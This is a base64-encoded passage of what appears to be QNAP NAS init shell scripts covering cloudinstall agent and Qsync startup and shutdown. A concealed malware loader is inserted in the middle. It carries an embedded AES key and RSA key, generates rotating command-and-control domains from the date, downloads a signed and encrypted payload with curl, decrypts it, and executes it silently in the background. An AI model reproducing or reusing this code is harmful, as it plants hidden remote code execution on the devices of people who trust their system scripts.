S9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmdyZXAgLUYgJycgPDxFT0YgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KCkVPRgp0ZXN0ICIkZmdyZXAiIHx8IGZncmVwPWdyZXAKdGVzdCAiJFJBTkRPTSIgfHwgUkFORE9NPTE3NjUzCmdlbnJzdHIgKCkgCnsgCiAgICBsb2NhbCBzPTsKICAgIGxvY2FsIG1pbj0kezE6LTR9OwogICAgbG9jYWwgbWF4PSR7MjotMTJ9OwogICAgbG9jYWwga3NwYWNlPSIkezM6LWEtekEtWn0iCiAgICB0ciAtZGMgIiRrc3BhY2UiIDwgL2Rldi91cmFuZG9tIHwgeyAKICAgICAgICByZWFkIC1ybiAkKCgkUkFORE9NICUgKCAkbWF4IC0gJG1pbiArIDEgKSArICRtaW4gKSkgczsKICAgICAgICBlY2hvICIkcyIKICAgIH0KfQoKdmVyaWZ5ZmlsZSgpIHsKbG9jYWwgZmlsZT0iJDEiCmxvY2FsIHNpZz0iJHsyOi0kZmlsZV9zfSIKbG9jYWwgb3V0CnRlc3QgISAteiAiJGZpbGUiICYmIHRlc3QgLXMgIiRmaWxlIiB8fCByZXR1cm4gMQp0ZXN0ICEgLXogIiRzaWciICYmIHRlc3QgLXMgIiRzaWciIHx8IHJldHVybiAxCnRlc3QgLWYgIi5yc2FrZXkiIHx8IGVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCm91dD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtdmVyaWZ5ICIucnNha2V5IiAtc2lnbmF0dXJlICIkc2lnIiAiJGZpbGUiKSAmJiB0ZXN0ICIkb3V0IiA9ICJWZXJpZmllZCBPSyIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKZGVjcnlwdGZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBvZmlsZT0iJHsyOi0ke2ZpbGV9fSIKbG9jYWwga2V5PSc3QzB2SzRTek1PMTV6QnhMRDdYQ2k1aGJqZ1AxWmprSicKb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1rICIka2V5IiAtbWQgc2hhMSAtc2FsdCA8ICIkZmlsZSIgPiAiJHtmaWxlfV9kIiB8fCByZXR1cm4gJD8KdGVzdCAtZiAiJG9maWxlIiAmJiBybSAtZiAiJG9maWxlIgptdiAiJHtmaWxlfV9kIiAiJG9maWxlIiAmJiByZXR1cm4gMApyZXR1cm4gMQp9Cgp2ZXJpZnlrZXk9Jy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tCk1JSUJvakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBWThBTUlJQmlnS0NBWUVBdC9FRFQ2U0I3NWF0ckhXN0Nwb2cKQ1hxckJNMkNWYkpvJzt2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInZzRyd3dTJyd6MUJwMWkxJwp2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInQjdCOVdkNTFubzMybHBScU9NKzlHT3IyVzE3eHdKOHBxcFFvdGV4ClJDNXFRU2lTLzdGUzQ4anNQS3NKbnJVaG5zSTFmUkxNNERxc0VGM1VPdWtadURPWVVobHRlRHVNcXFaQnowQUMKUTNZbkxqcmFUamNoTUYwWG1hQUFjV09rZzVNc3hBT0tUZXB1ZTRSL3RuclBBa0FHODZucTVMQTErd2E3b3BOVgpnUXp3RGg3WVhoQm5XejUyK2ViWjlUZXFEMzEvc2I1aG95VUtmMU5yNUhjS2trbE9idXoxT0dRSi8vcGtDYlRDCjJFblF3NnRDUFFoZ1NJQTh3SktrYXhXMGYvVUhQK1lCbVdhNFduK3VQckpKdUhTVk5FSnRBcDJ3bFgzVEhsdHoKMElHUFFFdXpvYWZPQWwzRUZqYXMzSGNUWDJIbEVmbnZBdFJMMmlMeEplYmExblorVTNnZVpPdXhMMU5oV2hOaApwamFMY0t3aGtSY2s3WTVocjFQejhwTERuWHN4NXcwUVV6NlhTOEhWZi9LSG5OWEh1ZkZFbjAxeTlZb1B1YXUxCkRObnBER2JxNjMyQnM4RVNkM3VlSGs5T1kvVVp4V2VOM1VkYnNlRnhLMzVYQWdNQkFBRT0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tJwoKRE9NQUlOX0VYVF9BPSdjZiB0ayBtbCBnYSBncScKRE9NQUlOX0VYVF9CPSdjb20gYml6IG9yZyBkZSByb2NrcyBteCBjbiB0b3AgbmwgbWVuIHdzIHNlIGluZm8geHl6IG5ldCB0b2RheSBydSBmaSBuYW1lIHRvIGluIGNvbS51YSB2ZyB2biBjZCcKCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnIgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnLy5jb25maWciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCmNkICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mIC50bXAuKgoKZWNobyAiJHZlcmlmeWtleSIgPiAiLnJzYWtleSIKaT0wIG49MCBjPTAgZXJyb3Jjb3VudD0wCm91dGZpbGU9JChta3RlbXAgIi4vLnRtcC5YWFhYWFgiKSB8fCBvdXRmaWxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0nLi8udG1wLm91dCcKCmZvciBkb21haW5leHRzIGluICIkRE9NQUlOX0VYVF9BIiAiJERPTUFJTl9FWFRfQiI7IGRvCiAgICAgICAgZm9yIGV4dCBpbiAkZG9tYWluZXh0czsgZG8KICAgICAgICAgICAgICAgIGhvc3RuYW1lPSQoZWNobyAiJCgoICQoZGF0ZSArJXMpIC8gMTI5NjAwMCApKUliakdPRWdudUQke2V4dH0iIHwgb3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgfCBvcGVuc3NsIGJhc2U2NCB8IHNlZCAneS9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWi0rXC8vYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMvO3MvPS8vZycpCiAgICAgICAgICAgICAgICBob3N0bmFtZT0ke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19CiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldfSIKICAgICAgICAgICAgICAgIGhvc3RuYW1lcz0iJGhvc3RuYW1lcyAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV19ICRob3N0bmFtZSIKICAgICAgICAgICAgICAgIGZvciBob3N0IGluICRob3N0bmFtZXM7IGRvCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLWYgIiRvdXRmaWxlIiAmJiBybSAtZiAiJG91dGZpbGUiCiAgICAgICAgICAgICAgICAgICAgICAgIHJlY2VudHVwZGF0ZT0nJwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIkb3V0ZmlsZSIgImh0dHBzOi8vJHtob3N0fS4ke2V4dH0vcW5hcF9maXJtd2FyZS54bWw/dD0kKGRhdGUgKyVzKSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAtcyAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIGZzaXplPSQoKCAkKHdjIC1jIDwgIiRvdXRmaWxlIikgKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZzaXplIiAtZ3QgNDA5NiAmJiBybSAtZiAiJG91dGZpbGUiICYmIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHJzYW1zZz0kKG9wZW5zc2wgYmFzZTY0IC1pbiAiJG91dGZpbGUiIC1kIHwgb3BlbnNzbCByc2F1dGwgLXB1YmluIC1pbmtleSAiLnJzYWtleSIgLXZlcmlmeSkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYW1zZyIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgcGF0aD0iJHtyc2Ftc2clfCp9IjsgcnNhZG9tYWluPSIke3BhdGglfCp9IjsgcGF0aD0iJHtwYXRoIyp8fSIKICAgICAgICAgICAgICAgICAgICAgICAgaGFzaD0iJHtyc2Ftc2cjIyp8fSI7IHRzPSIke2hhc2gjKl99IjsgaGFzaD0iJHtoYXNoJV8qfSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYWRvbWFpbiIgPSAiJHtob3N0fS4ke2V4dH0iIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVub3c9JChkYXRlICslcykKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHRzIiAtZ3QgMCAmJiB7IHRlc3QgIiR0cyIgLWd0ICIkdGltZW5vdyIgfHwgdGVzdCAkKCggJHRpbWVub3cgLSAkdHMgKSkgLWx0IDE3MjgwMDsgfSAmJiByZWNlbnR1cGRhdGU9MQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9LyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVoYXNoPSQob3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgIiRvdXRmaWxlIiB8IG9wZW5zc2wgYmFzZTY0KSB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkZmlsZWhhc2giID0gIiRoYXNoIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIke291dGZpbGV9X3MiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3MvJHtwYXRofSIKICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5ZmlsZSAiJG91dGZpbGUiICIke291dGZpbGV9X3MiICYmIGRlY3J5cHRmaWxlICIkb3V0ZmlsZSIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgbXYgIiR7b3V0ZmlsZX1fcyIgIiR7dHN9X3YiCiAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kIDc1NSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgICggKCBleGVjID4vZGV2L251bGwgMj4vZGV2L251bGwgPC9kZXYvbnVsbDsgIiRvdXRmaWxlIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAmICkgJiApCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyZWNlbnR1cGRhdGUiIC1lcSAxICYmIGV4aXQgMAogICAgICAgICAgICAgICAgZG9uZQogICAgICAgIGRvbmUKZG9uZQoKCmlmIFsgIiRmcm9tcmNTIiA9ICdUUlVFJyBdOyB0aGVuCiMgaWYgUXN5bmMgaXMgZGlzYWJsZSBiZWZvcmUgNC4zLjAsIHdlIHdpbGwgdG91Y2ggL21udC9IREFfUk9PVC91ZHBhdGVfcGtnLy5Rc3luY1NlcnZlcl9kaXNhYmxlZApzZXRfZGVmYXVsdF9kaXNhYmxlX3N0YXR1cygpCnsKCVFQS0dfRU5BQkxFPWAkQ01EX0dFVENGRyAke1FTWU5DX05BTUV9IEVuYWJsZSAtZCAiTlVMTCIgLWYgJHtRUEtHX0NPTkZ9YAoJT0xEX0VOQUJMRT1gJENNRF9HRVRDRkcgUXN5bmMgRW5hYmxlIC11IC1kIE5VTExgCglpZiBbIC1mICIke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X3JlbW92ZWQiIF07IHRoZW4KCQlyZXR1cm4KCWZpCgoJaWYgWyAiJFFQS0dfRU5BQkxFIiA9ICJOVUxMIiBdOyB0aGVuCgkJaWYgWyAiJE9MRF9FTkFCTEUiID0gIkZBTFNFIiBdOyB0aGVuCgkJCWRiZyAidG91Y2ggJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQkJL2Jpbi90b3VjaCAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQlmaQoJZmkKfQoKaWYgWyAieCRIQlNfRU5BQkxFIiA9IHhudWxsIF0gfHwgWyAieCRIQlNfRU5BQkxFIiA9IHhGQUxTRSBdOyB0aGVuCglleHBvcnQgUU5BUF9RUEtHPXJ0cnIKZWxzZQoJZXhwb3J0IFFOQVBfUVBLRz1IeWJyaWRCYWNrdXAKCS91c3IvbG9jYWwvc2Jpbi9xYm9vc3RfdXRpbCAtUyAtbiBydHJyIC1FIDAgMT4vZGV2L251bGwgMj4mMQpmaQpzdGFydCgpCnsKCWlmIFsgLWYgL3Vzci9iaW4vcXN5bmNtYW4gXTsgdGhlbgoJCVsgISAtZiAvZXRjL2NvbmZpZy9oZGNvcHl1c2IuY29uZiBdIHx8IC9iaW4vcm0gLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYKCQkvYmluL3NlZCAtaSAnL2hkdXNiX2NvcHkvZCcgL2V0Yy9jb25maWcvY3JvbnRhYgoJCS91c3IvYmluL2Nyb250YWIgL2V0Yy9jb25maWcvY3JvbnRhYgoJCWVjaG8gLW4gIlN0YXJ0aW5nIFFTeW5jIG1hbml0b3I6ICIKCQlbIC1kIC9ldGMvY29uZmlnL3FzeW5jIF0gfHwgL3Vzci9iaW4vaW5zdGFsbCAtZCAvZXRjL2NvbmZpZy9xc3luYwoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luYy5jb25mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIF0gfHwgL2Jpbi9jcCAtcCAvZXRjL2RlZmF1bHRfY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY2htb2QgNjQwIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jZC5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mCgkJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdGFydCAiL3Vzci9iaW4vcXN5bmNtYW4gMT4vZGV2L251bGwgMj4mMSIKCQllY2hvICJPSyIKCWZpCn0KCnN0b3AoKQp7CgllY2hvICJTaHV0dGluZyBkb3duIFFTeW5jIG1vbml0b3I6IE9LIgogICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAga2lsbCAkcGlkbnVtIDI+L2Rldi9udWxsCiAgICAgICAgaT0wCiAgICAgICAgd2hpbGUgWyAke2l9IC1sdCA1IF0KICAgICAgICBkbwogICAgICAgICAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICAgICAgICAgIGlmIFsgLXogIiRwaWRudW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBzbGVlcCAxCiAgICAgICAgICAgICAgICBpPWAvdXNyL2Jpbi9leHByICR7aX0gKyAxYAogICAgICAgIGRvbmUKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIFsgLXogIiRwaWRudW0iIF0gfHwga2lsbCAtOSAkcGlkbnVtIDI+L2Rldi9udWxsCgkvc2Jpbi9kYWVtb25fbWdyIHFzeW5jbWFuIHN0b3AgIi91c3IvYmluL3FzeW5jbWFuIgoJL3Vzci9iaW4va2lsbGFsbCAtcSBxc3luY21hbgp9CgpzdGFydF9xc3luY2QoKQp7CgkjX3FzeW5jZF9lbj1gL3NiaW4vZ2V0Y2ZnICIiIEVuYWJsZWQgLWQgMCAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJI1sgIngkX3FzeW5jZF9lbiIgPSB4MSBdIHx8IHJldHVybiAtMQoJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCVsgLXogJF9xc3luY2RfcnVuX3BpZCBdIHx8IHJldHVybiAtMTE0CglfcmVjeWNsZV9lbj1gL3NiaW4vZ2V0Y2ZnICdOZXR3b3JrIFJlY3ljbGUgQmluJyBFbmFibGU